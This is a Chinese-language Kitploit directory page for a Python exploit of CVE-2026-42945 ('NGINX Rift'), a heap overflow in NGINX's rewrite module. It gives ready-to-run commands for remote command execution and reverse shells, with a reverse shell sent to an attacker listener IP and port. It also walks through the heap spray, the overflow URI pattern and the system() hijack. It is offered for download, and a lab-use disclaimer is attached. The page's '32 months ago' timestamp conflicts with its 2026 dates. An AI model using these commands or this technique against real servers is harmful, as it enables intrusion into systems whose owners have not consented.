Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-42945-Reverse-Shell-POC — 用于 CVE-2026-42945 (NGINX Rift) 的 Python RCE PoC,包含反向shell监听器 | Kitploit
工具/GitHubGitHub/sec-sys/cve-2026-42945-reverse-shell-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试红队远程访问工具二进制利用

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
GitHubsec-sys/cve-2026-42945-reverse-shell-poc

CVE-2026-42945-Reverse-Shell-POC

用于 CVE-2026-42945 (NGINX Rift) 的 Python RCE PoC,包含反向shell监听器

查看仓库
32个月前尚未审核

CVE-2026-42945 (NGINX Rift) RCE PoC 附带反向 Shell

针对 CVE-2026-42945(NGINX 中 ngx_http_rewrite_module 的堆缓冲区溢出)的远程代码执行概念验证工具。本分支在公开的触发 PoC 基础上,嵌入了反向 shell 监听器以及可配置的利用参数,适用于 CTF 和隔离的实验室环境。


漏洞摘要

  • CVE ID: CVE-2026-42945
  • 别名: NGINX Rift
  • 受影响组件: ngx_http_rewrite_module
  • 受影响版本: NGINX 开源版 0.6.27 – 1.30.0;NGINX Plus R32 – R36
  • 修复版本: NGINX 开源版 1.30.1 / 1.31.0;NGINX Plus R36 P4、R35 P2、R32 P6
  • 根本原因: 两遍脚本引擎不匹配。长度计算遍在 is_args = 0 的新子引擎上运行,而复制遍在 is_args = 1 的主引擎上运行,调用了 ngx_escape_uri(..., NGX_ESCAPE_ARGS)。可转义的字节每个扩展为 3 字节,导致大小不足的堆缓冲区被攻击者控制的 URI 数据溢出。
  • RCE 前提条件: 使用了未命名 PCRE 捕获($1、$2)且替换字符串中包含 ? 的可利用 rewrite/set 配置;已禁用 ASLR 或已知堆/libc 基址;能够通过 POST 请求体进行堆喷射。

文件

文件描述
cve_2026_42945_rce_poc.py内置反向 shell 监听器和命令执行模式的 Python 利用工具。

需求

  • Python 3.8+
  • 目标 NGINX 实例符合易受攻击的版本和配置条件。
  • 网络可达目标 HTTP 端口。
  • 对于反向 shell:攻击者主机必须能从目标在选定的监听端口上访问。

使用方法

执行单个命令

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --cmd "id > /tmp/pwned"

生成反向 shell(默认为 bash)

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

Python 反向 shell 载荷

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --shell-type python \
  --listen-ip 10.0.0.1 \
  --listen-port 1337

为特定目标校准地址

root@kitploit:~
python3 cve_2026_42945_rce_poc.py \
  --host 10.0.0.5 \
  --port 80 \
  --shell \
  --listen-ip 10.0.0.1 \
  --listen-port 1337 \
  --heap-base 0x555555659000 \
  --libc-base 0x7ffff77ba000 \
  --system-offset 0x50d70

工作原理

  1. 堆喷射: 发送多个 POST 请求,请求体中包含伪造的 ngx_pool_cleanup_s 结构:system@libc | 指向命令的指针 | null。这些请求体会占据稳定的堆位置。
  2. 触发溢出: 向易受攻击的 rewrite 端点发送精心构造的 GET 请求。URI 模式为:
    root@kitploit:~
    /api/<349 个 'A'><969 个 '+'><6 字节堆地址>
    
    溢出会损坏相邻 ngx_pool_t 的 cleanup 指针。
  3. 代码执行: 当池被销毁时,损坏的 cleanup 指针会调用 system(command),在 NGINX 工作进程中执行攻击者控制的命令。
  4. 反向 Shell: 如果使用了 --shell,命令会是反向 shell 载荷,内置监听器会捕获传入的连接。

安全声明

本工具旨在用于:

  • CTF 和实验室练习。
  • 获得书面授权的授权渗透测试。
  • 安全研究和防御加固活动。

请勿在您不拥有或未经明确许可的系统上使用。


许可

使用风险自负。作者不对未授权或非法使用负责。


致谢

原始漏洞研究与 PoC 由 depthfirstdisclosures (https://github.com/depthfirstdisclosures/nginx-rift) 提供。 本 Python 反向 shell 分支是为红队实验室/CTF 使用而创建的。


参考

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42945
  • NGINX 安全公告: https://nginx.org/en/security_advisories.html
  • F5 / NGINX 知识库: https://my.f5.com/manage/s/article/K000161019
  • 原始研究仓库: https://github.com/depthfirstdisclosures/nginx-rift
下载工具